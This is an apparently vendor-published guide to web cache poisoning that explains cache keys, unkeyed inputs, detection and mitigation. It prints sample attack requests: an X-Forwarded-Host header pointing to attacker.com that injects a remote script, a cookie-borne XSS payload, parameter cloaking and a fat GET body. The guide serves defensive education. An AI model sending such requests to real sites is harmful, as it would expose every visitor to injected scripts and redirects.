What is Web Cache Poisoning? Ways to Exploit, Examples and Impact

Master Web Cache Poisoning: learn how unkeyed headers lead to XSS and redirects. A technical guide on detection, exploitation, and mitigation for security pros.

What is Web Cache Poisoning? Ways to Exploit, Examples and Impact

Web caching is a fundamental technology that keeps the modern internet running smoothly. By storing copies of frequently requested content closer to the user, organizations can drastically reduce latency and server load. However, when this performance-enhancing layer is misconfigured, it can be turned into a dangerous weapon. Web Cache Poisoning is an advanced exploitation technique where an attacker manipulates a web cache to serve malicious, unauthorized content to other users. This guide explores the mechanics of caching, how poisoning occurs, and the technical steps to identify and mitigate these vulnerabilities.

Understanding the Basics: How Web Caching Works

To understand web cache poisoning, we must first understand the relationship between a client, a cache, and the back-end server. A web cache (like Varnish, Cloudflare, or Akamai) sits between the user and the application server. When a request comes in, the cache checks if it already has a saved copy of the requested resource. If it does, it serves that copy immediately—a process known as a "cache hit." If it doesn't, it forwards the request to the back-end server, stores the resulting response, and then delivers it to the user—a "cache miss."

The Role of the Cache Key

The cache doesn't store a separate copy for every single unique request; that would be inefficient. Instead, it uses a "cache key" to determine if two requests are asking for the same resource. Typically, the cache key consists of:

  • The HTTP Method (e.g., GET)
  • The Host header
  • The Request Path (URL)
  • Query Parameters

Any part of the HTTP request that is not included in the cache key is considered an "unkeyed input." These unkeyed inputs are the primary target for attackers. If a back-end server uses an unkeyed input to generate the response, and that response gets cached, every other user who sends a request with the same cache key will receive the attacker's manipulated response.

What is Web Cache Poisoning?

Web cache poisoning occurs when an attacker sends a specially crafted request that triggers a harmful response from the back-end server, which is then saved by the cache. Because the cache key for the attacker's request matches the cache key of legitimate users, the cache serves the "poisoned" content to everyone else. Unlike traditional attacks like Cross-Site Scripting (XSS), which usually target a single user via a malicious link, cache poisoning is a "one-to-many" attack. A single successful exploit can compromise thousands of users simultaneously.

The Anatomy of a Web Cache Poisoning Attack

Successful exploitation generally follows a three-step methodology:

  1. Identify Unkeyed Inputs: The attacker uses tools or manual testing to find headers or parameters that the back-end server processes but the cache ignores when generating its key.
  2. Elicit a Harmful Response: The attacker manipulates these unkeyed inputs to force the back-end server into generating a response that contains a payload, such as an XSS vector or an open redirect.
  3. Get the Response Cached: The attacker sends the request repeatedly until the cache saves the malicious response. This often requires timing the request to occur immediately after a previous cache entry expires.

Technical Exploitation Scenarios

1. Unkeyed Header Injection

The most common form of web cache poisoning involves unkeyed HTTP headers. Many frameworks use headers like X-Forwarded-Host or X-Forwarded-Proto to generate absolute URLs within the page.

The Attack Request:

GET /home HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.com

The Back-end Response:

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
...
<script src="https://attacker.com/scripts/tracking.js"></script>

In this scenario, the cache only looks at the Host header and the path /home for its key. It ignores X-Forwarded-Host. Because the back-end used that header to build the script tag, the cache now stores a version of the home page that loads a malicious script from the attacker's domain. Every user visiting example.com/home for the next hour will execute the attacker's JavaScript.

Sometimes, cookies are used to determine the content of a page (e.g., language settings or session-based themes) but are not included in the cache key. If an attacker can manipulate a cookie to trigger an XSS payload, they can poison the cache for all users who share that cache key.

The Attack Request:

GET /settings HTTP/1.1
Host: example.com
Cookie: theme=dark\";alert(1);\" 

If the application reflects the theme cookie directly into a JavaScript block without sanitization, the resulting page will execute the alert(1). If the cache does not include the Cookie header in its key, the first user to visit /settings after the attacker will receive the poisoned "dark theme" page containing the XSS payload.

3. Parameter Cloaking

Different web servers and caches parse URL parameters differently. An attacker can exploit these discrepancies to hide a malicious parameter from the cache while ensuring the back-end server still processes it. This is known as parameter cloaking.

Consider a setup where the cache uses the standard & as a delimiter, but the back-end server also accepts ;.

The Attack Request:

GET /search?q=test;callback=alert(1) HTTP/1.1
Host: example.com

If the cache sees this as a single parameter q with the value test;callback=alert(1), it might cache it. If the back-end server sees two parameters (q and callback), it might execute the callback function. This discrepancy allows attackers to bypass cache-key filters that might otherwise strip out sensitive parameters like callback.

4. Fat GET Requests

A "Fat GET" request is a GET request that includes a message body. While the HTTP specification allows this, many caches ignore the body entirely when generating a cache key. However, some back-end frameworks will process the body of a GET request as if it were a POST request.

The Attack Request:

GET /js/lib.js HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

callback=alert(1)

If the cache only keys on /js/lib.js, it will save the response. If the back-end server sees the callback parameter in the body and wraps the JavaScript file in that callback, the entire library is now poisoned for all users.

The Impact of Web Cache Poisoning

The impact of web cache poisoning is often critical because of its scale. Since the malicious content is served from a trusted, legitimate domain, it bypasses many browser-based security controls and user suspicions.

  • Mass XSS: A single poisoning event can execute JavaScript in the browsers of every visitor to a site, leading to session hijacking, credential theft, or browser-based crypto-mining.
  • Open Redirects: Attackers can redirect users from a legitimate site to a phishing page by poisoning a cache entry that generates a 301 or 302 redirect.
  • Resource Hijacking: By poisoning CSS or JS files, an attacker can effectively deface a website or alter its functionality globally.
  • Bypassing WAFs: Since the malicious payload is stored in the cache, subsequent requests for the poisoned content do not even reach the back-end server, meaning the Web Application Firewall (WAF) never sees the malicious activity after the initial injection.

How to Detect Web Cache Poisoning

Detecting cache poisoning requires a proactive approach to infrastructure reconnaissance. Traditional vulnerability scanners often miss these flaws because they require a specific sequence of requests and an understanding of the cache's behavior.

  1. Manual Testing: Use extensions like "Param Miner" in Burp Suite to identify unkeyed inputs automatically. Look for headers like X-Forwarded-Host, X-Host, or X-Original-URL.
  2. Analyze the Vary Header: The Vary HTTP response header tells the cache which request headers should be part of the cache key. If you see Vary: User-Agent, it means the cache stores different versions for different browsers. If a header is reflected in the response but not listed in the Vary header, it is a potential candidate for poisoning.
  3. Cache Buster Usage: When testing, always use a "cache buster" (a unique query parameter like ?cb=123) to avoid accidentally poisoning the site for real users during your research.
  4. Continuous Monitoring: Use an attack surface management platform to track your infrastructure. Jsmon can help identify changes in your external-facing headers and infrastructure that might indicate a misconfigured cache.

Prevention and Mitigation Strategies

Securing your application against cache poisoning involves a combination of configuration and coding best practices.

  • Disable Unkeyed Inputs: The most effective defense is to disable support for unkeyed headers that aren't strictly necessary. If your application doesn't need X-Forwarded-Host, ensure the web server or load balancer ignores it.
  • Include Sensitive Headers in the Cache Key: If you must use a header to vary the response content, ensure that header is part of the cache key. Use the Vary header correctly to inform the cache of these dependencies.
  • Avoid Reflecting Unkeyed Input: Never take data from an unkeyed header and reflect it directly into the HTML response. Treat all unkeyed headers as untrusted user input.
  • Use Cache-Control: Private: For any response that contains user-specific data or is generated based on cookies, use the Cache-Control: private directive to prevent intermediary caches from storing the response.
  • Static Content Only: Whenever possible, restrict caching to purely static files (images, CSS, JS) and ensure these files are not dynamically generated based on request headers.

Conclusion

Web cache poisoning is a sophisticated vulnerability that highlights the complexity of modern web delivery. By exploiting the gap between how a cache identifies a resource and how a back-end server processes a request, attackers can compromise entire user bases with minimal effort. As organizations continue to scale their infrastructure using CDNs and reverse proxies, understanding the nuances of the cache key becomes a vital part of a robust security posture.

To proactively monitor your organization's external attack surface and catch misconfigured headers or unkeyed inputs before attackers do, try Jsmon.